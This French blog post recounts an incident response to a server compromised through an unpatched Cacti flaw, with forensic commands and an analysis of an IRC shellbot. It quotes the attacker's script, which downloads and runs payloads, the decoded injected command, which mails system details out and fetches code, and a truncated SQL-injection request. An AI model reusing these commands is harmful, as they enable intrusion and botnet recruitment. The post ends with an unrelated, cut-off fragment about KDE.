Je viens de faire face à une intrusion. Le cracker a profité d'une faille de cacti non patchée dans ma distribution (j'y reviendrais) pour s'introduire sur mon serveur perso. Nous allons essayer d'analyser la machine pour découvrir comment il est entré.
Attention ! Je ne suis pas du tout un spécialiste en sécurité. Ce billet n'est pas une marche à suivre mais a pour but de décrire ma réaction. Ma méthode est surement criticable, n'hesitez pas à vous exprimer dans les commentaires pour corriger mes erreurs.
La découverte
Hier, lors d'un top, je remarque qu'un processus perl prends pas mal de cpu. Il semble être en rapport avec les logs d'apache. Concentré sur autre chose, je ne cherche pas plus loin.
Aujourd'hui lors d'un nouveau top le même processus prends toujours de la cpu. Ayant 5 minutes devant moi, je décide de voir un peu plus loin. Bien m'en prends puisque je découvre bien vite une incohérence ! Dans le top, je vois un processus perl, mais dans un ps, le pid est associé à un fichier /usr/sbin/apache/log qui n'existe pas ! L'inquiétude monte.
Un petit tour dans /tmp ou je découvre des fichiers que je n'y ai jamais vu : go.jpg et go qui est un script shell :
#/bin/bash
cd /var/tmp;wget http://xxxx.xx.uk/bad.jpg;tar zxvf bad.jpg;rm -rf bad.jpg;
cd .u;wget http://xxxx.xx.uk/b0t.jpg;perl b0t.jpg
La, plus de doutes ! Ma machine est compromise. Surtout ne pas se laisser submerger par la panique. Ne pas couper l'interface réseau.
Première chose : sauvegarder toutes les traces et logs possibles et étudier un peu ce qui se passe.
Heureusement je suis tranquille pour mes données, gràce à Bacula je sauvegarde toutes les nuits.
La prise d'informations
Pour commencer, il faut capturer le traffic réseau histoire de voir ce qu'il fait. Je ferme donc toutes les applications autorisées du reseau local pour ne pas polluer la capture. Ensuite tcpdump :
sudo tcpdump -v -i ra0 -s 4096 -w /montage/nfs/ra0.raw
Cette commande capture les paquets sur l'interface ra0 (l'exterieur chez moi) d'une taille jusqu'à 4096 octets (sinon on a que les headers) et écrit les données sur un montage nfs. On pourra facilement les exploiter plus tard à l'aide de ethereal / wireshark[1]
Ensuite récuperer les traces en recopiant mon répertoire /var/log sur un montage nfs puis de la même manière je capture au maximum l'état actuel de la machine (c'est à dire avec le Bot en fonctionnement) :
sudo tar cvf /montage/nfs/log/varlog.tar /var/log
sudo ps -ef > /montage/nfs/log/ps-ef
sudo lsof > /montage/nfs/log/lsof
sudo netstat -an > /montage/nfs/log/netstat-an
sudo strace -p 21160 > /montage/nfs/log/strace 2>&1
Voici quelques détails :
- ps liste les processus en cours
- lsof est très très utile, cette commande liste tous les fichiers classés par processus
- netstat donne les informations sur les connections réseaux ouvertes et les ports écoutés
- strace donne les appels systèmes du processus de pid 21160. Dans ce cas je n'en ai rien sorti
Une rapide analyse du lsof me donne les fichiers malicieux, je les sauvegarde aussi :
- /var/tmp/.u/
- /tmp/
- /var/lib/cacti/rra/suntzu.log
Une chose me reste à l'esprit pendant toute cette phase, je ne sais pas à quel point ma machine est compromise. Dans le cas ou un gros rootkit avec keylogger est installé, je suis en train de lui donner un accès root de toute beauté !
Quand je considère cette phase terminée, je coupe les interfaces réseaux et isole la machine sans l'eteindre. Maintenant arrive la phase d'analyse des logs et du code perl du bot. J'ai deux objectifs :
- Comment est-il entré ?
- Quels dégats a-t-il fait chez moi et chez les autres ?
Les faits
Après analyse, voici le déroulement des faits tels que je les ai reconstitués :
Vendredi à 18:43, quelqu'un a exploité une faille de cacti pour executer du code. C'est assez facile à voir dans les logs du fait de la longeur excessive de la ligne (1034 caractères) :
213.XX.XX.XXX - - [02/Feb/2007:18:43:38 +0100] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null ...
On détecte aussi un peu plus loin l'utilisation de ma machine comme proxy 
Cette attaque provient d'une machine polonaise, une fois décodé, le code correspond à cela :
uname -a >> /tmp/out;/sbin/ifconfig |grep inet >> /tmp/out;
cat /tmp/out | mail -s xxxxxx xxxx_xxxxx@yahoo.com;
wget http://xxxxxxx.xx.uk/go.jpg -O /tmp/go.jpg;tar xzvf /tmp/go.jpg -C /tmp;
/tmp/go > ./rra/suntzu.log
Il s'est donc envoyé un mail avec les informations sur ma machine et a téléchargé et executé le script shell vu ci-dessus. Ce script a à son tour téléchargé un client irc en perl et un bot irc camouflé en httpd (ainsi qu'une autre version en bash)
Le bot irc est EnergyMech. Le client perl est issu de l'Atrix Shellbot qui semble avoir ciblé phpbb puis modifié pour mambo et maintenant pour cacti[2].
Une fois démarré, EnergyMech prend la place de apache et se met en écoute des ports 80 et 443. Quand au Shellbot, il se connecte à un serveur irc (aux USA) et se met en attente de commandes. En jetant un oeil au code, on s'apercoit qu'il peut faire à la demande :
- du dénis de service en tcp, http, udp
- executer toute commande sur la machine inféctée (dans la limite de ses droits bien sur)
- chercher à infecter d'autres machines en les recherchant via google
- ...
Il est aussi personalisable, dispose d'un système léger de droits ce qui permet d'utiliser plusieurs botnet sur le même serveur/canal irc.
Dans les dumps réseaux, je vois passer des commandes mais rien qui ne me soit destiné. On trouve des reponses IRC comme cela :
:xxx!xxxx@xxxxxxxxxx.xxxx.xxxxxxxx.org PRIVMSG #botzs :.ACTION brb ..pap :P.
qui restent incomprehensibles à moins d'avoir le code du client. On peux juste en extraire le pseudo du propriétaire, les bots destinataires (botzs) et l'action qui leur est demandée.
Par contre, je n'ai pas pu savoir s'il a réalisé des actions pendant sa période de présence en ligne (environ 40h). Je n'ai rien détécté dans les logs. Peut-être ai-je mal cherché.
Conclusions
Dans une certaine mesure, j'ai une part de responsabilité. Je n'ai pas maintenu mon serveur à jour. Je reviendrais la-dessus dans un prochain article.
J'ai retrouvé après coup l'article que je me souvenais avoir lu : Comment réagir (techniquement) en cas d'intrusion . J'ai presque bon. Il me manque quelques logs, la préparation et surtout la séparation des outils d'analyse de la machine infecté. Je pense que dans le cas d'un rootkit, ça ne pardonne pas. Je vous conseille d'aller lire cet article et de vous y préparer.
Les dégats semblent limités. L'attaquant est sans doute resté cantonné à l'utilisateur www et n'est pas allé plus loin (rkhunter semble me le confirmer). De plus j'ose esperer qu'en 40h il n'a pas eu le temps de faire trop de dégats à partir de ma machine.
J'ai toujours repoussé l'installation des logiciels de surveillance (IDS) je le regrette maintenant.
Je vais porter plainte même si je doute que cela apporte grand chose. A priori cela ne semble même pas évident à faire. Il faut avoir comme informations :
- les logs bien sur
- l'adresse physique de la machine
- les dégats subits qui dans mon cas semblent minimes
Je ne fais plus confiance à cette machine, la re-installation complète la guette !
Un petit post pour vous informer de la sortie récente de cette nouvelle version de KDE.
Il s'agit d'une version de maintenance qui corrige juste quelques bugs et apportes des améliorations mineures.
Enfin, le 
